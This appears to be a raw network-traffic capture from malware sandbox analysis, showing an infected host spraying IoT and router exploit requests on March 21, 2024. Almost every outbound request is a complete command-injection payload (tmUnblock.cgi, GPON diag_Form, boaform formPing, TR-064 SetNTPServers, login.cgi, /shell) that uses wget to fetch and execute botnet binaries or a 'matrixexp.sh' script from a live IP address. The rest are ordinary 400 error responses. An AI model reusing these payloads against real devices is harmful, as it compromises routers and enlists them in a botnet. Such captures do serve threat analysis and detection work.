Mar 21, 2024 05:21:50.038362026 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	41262	52.191.87.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.090913057 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	55994	172.67.252.83	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.123462915 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:50.399281979 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:50.719234943 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	37180	172.67.222.55	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.123507977 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:50.623229027 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	48006	172.65.225.225	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.123585939 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:50.404301882 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	34336	172.66.148.47	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.123609066 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:50.403954983 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	37360	74.125.206.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.281418085 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:50.454250097 CET	1286	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1555 Date: Thu, 21 Mar 2024 04:21:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-devi
Mar 21, 2024 05:21:50.454265118 CET	450	IN	Data Raw: 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f Data Ascii: ce-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.go

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.14	54838	172.67.14.112	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:51.319300890 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.14	40858	198.2.203.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:51.343667030 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:51.558074951 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:21:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.14	32792	52.13.139.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:51.740252018 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:52.703250885 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:52.878715992 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.14	35618	212.227.166.95	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:51.742773056 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:52.316137075 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:52.899049997 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:53.083272934 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 21 Mar 2024 04:21:52 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.14	51236	37.57.205.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:52.059779882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.14	41266	37.100.79.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:52.059815884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.14	54460	172.64.130.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:52.257673979 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:52.735310078 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.14	59352	178.32.96.52	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:52.319561005 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:53.183244944 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.14	34450	34.149.151.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:52.951483011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:21:53.227159977 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.14	46266	172.65.184.6	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.111530066 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.14	32780	178.136.123.159	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:54.576879025 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.14	58254	37.137.163.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078156948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.14	47518	42.82.134.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078198910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.14	46472	79.44.2.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078232050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.14	57462	37.83.37.57	443

Timestamp	Bytes transferred	Direction	Data
